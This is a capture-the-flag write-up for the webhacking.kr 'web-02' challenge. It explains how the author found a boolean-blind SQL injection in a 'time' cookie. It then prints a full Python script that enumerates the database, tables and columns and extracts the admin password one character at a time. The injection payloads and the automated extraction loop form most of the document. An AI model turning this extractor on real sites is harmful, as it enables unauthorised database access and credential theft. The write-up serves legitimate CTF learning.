Korean Web Challenges [Web-02]

Summary

This is the second challenge in the Korean Web Challenges series, and we have provided an page like below.

Start Decoding

When we look at the page source (ctrl+U), we see that it has a hidden PHP page called admin.php

When we go to that page, we can see that it asks for a password.

Any random password will result in an error; I even tried brute-forcing it, but that did not work.

So it's time to look closely at both the "Restricted area" page and the "admin.php" page. The "Restricted area" page has a date in an HTML comment.

And admin.php only has a form that asks for the password.

it's request to verify the password was like below (I also tried Blind SQL bypass here)

After my multiple attempts to bypass above password verify API through bruteforce or sql injection i was having no success then i thought to check that Restriction page again

And I tried a lot of things on this page before, like using a lot of headers here to pretend that I am requesting the page from a local trusted system, but still no luck.

Later, I started to focus on a behaviour that I knew about but hadn't tried much of: this time cookie had an epoch timestamp, and whatever time you put in the cookie in epoc format, it would add 3 hours to it and show the date in the response as an html comment. This meant that something dynamic was going on here.

I tried a straightforward SQL sleep command, and to my suprise, it worked🤯. Before I found this, I tried a lot of different approaches, but I honestly didn't think it would be that easy to just exploit the SQL and pull the password out of the database, i thought there would be some tricks around it but i was wrong.

I started testing more SQLi payloads to find out what kinds of SQLi are possible here besides time-based SQLi. I found that boolean blind worked fine, and in the case of true conditions, the date ended with the number 1

and if condition is false then it ends it with 0, this is useful when crafting script to automate this.

So Now the best part, that is writing some code to exfiltrate the password.

This was easy, first i extracted the database name

Then all table names

then columns of tables

and finally the password

and challenge solved.

THE SCRIPT EXPLANATION

First we did some imports

requests - for sending http requests
sys - for taking command line arguments
urllib3 - just to disable the ssl warning that python give if you ask it to send traffic through burp

url - target url

proxies - to set burp proxy to debug any runtime error in requests

Functions - get_length

The purpose of this function is to just check the length of a SQLi output
For example
you give it database() it will inject it in cookie along with length function and it will try to guess length of this database()via iterating from 0 to 100 and if condition seems true that is 1 in the end of the date then it retrun that lenght back.

Functions - check_condition

This function i specially created to avoid writing same "condition match code" again and again, so i pass it my payload and it just tells if condition is true or false.

Functions - extdata

This is most important function in the script becuase it do most of the logic part.

on line 30 it uses our old get_length funtion to get the expected output length

then from line 31 to 66 it iterates through different ascii charaters

Between line 37 to 44 it do a range from 58 to 47 for numbers 9 to 0

then from line 46 to 56 it first check if it found a valid number and if not then it runs this new loop for alphabets that too only with lowercase alphabets becuase mysql is not case sensitive in comparison operations

At last from line 59 to 67 it checks for special characters

And through manually running below loops i was able to exfiltrate complete data.

COMPLETE SCRIPT


import requests
import sys
import urllib3

urllib3.disable_warnings()


url = "https://webhacking.kr/challenge/web-02/"

proxies= {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

def get_length(func):
for j in range(0,100):
inj = f"1676199993+AND+length({func})={str(j)}"
headers = {"Cookie": f"time={inj}"}
res = requests.get(url, headers=headers, proxies=proxies, verify=False)
# print("code"+ str(res.status_code))
# print("body len "+ str(len(res.content)))
if "2070-01-01 09:00:01" in res.text:
return j

def check_condition(inj):
headers = {"Cookie": f"time={inj}"}
res = requests.get(url, headers=headers, proxies=proxies, verify=False)
if "2070-01-01 09:00:01" in res.text:
return True
return False

def extdata(func):
length = get_length(func)
for cursor in range(1,length+1):
# start = 126
# end = 32
start = 58
end = 47
hit = False
for i in range(start, end, -1):
inj = f"1676199993+AND+substring({func},{str(cursor)},1)={chr(i)}"
# payload = """{"organization_id":"950624' AND substring("""+func+""","""+str(cursor)+""",1)='"""+chr(i)+"""","organization_role":"Admin"}"""
if check_condition(inj):
sys.stdout.write(chr(i))
sys.stdout.flush()
hit = True
break

#new loop for alphabets
if hit==False:
alpha_lowercase_range = [97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122]
alpha_upprcase_range = [65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90] #Mysql is not case sensitive in comparison operations
for i in alpha_lowercase_range:
inj = f"1676199993+AND+substring({func},{str(cursor)},1)='{chr(i)}'--"
if check_condition(inj):
sys.stdout.write(chr(i))
sys.stdout.flush()
hit=True
break

#new loop for special characters
if hit==False:
special_range = [32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,58,59,60,61,62,63,64,91,92,93,94,95,96,123,124,125,126]
for i in special_range:
inj = f"1676199993+AND+substring({func},{str(cursor)},1)='{chr(i)}'--"
if check_condition(inj):
sys.stdout.write(chr(i))
sys.stdout.flush()
break


# else:
# print(payload)

#On true 645

######get table names
# for t in range(0,44):
# print("Table "+str(t) )
# extdata("(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+"+str(t)+",1)")
# print("")

# extdata("database()")

#####get column names
# for t in range(0,20):
# print("column "+str(t) +" of admin_area_pw table" )
# extdata("(select+column_name+from+information_schema.columns+where+table_name='admin_area_pw'+limit+"+str(t)+",1)")
# print("")

#####get rows
# columns = ["id", "level","summary", "template_id", "updated_at", "vm_pool_id"]
# columns = ["created_at","id","is_active","updated_at","user_name"]
columns = ["pw"]

for i in columns:
print("column "+str(i) +"" )
for t in range(0,20):
extdata(f"(select+{str(i)}+from+admin_area_pw+limit+{t},1)" )
print("")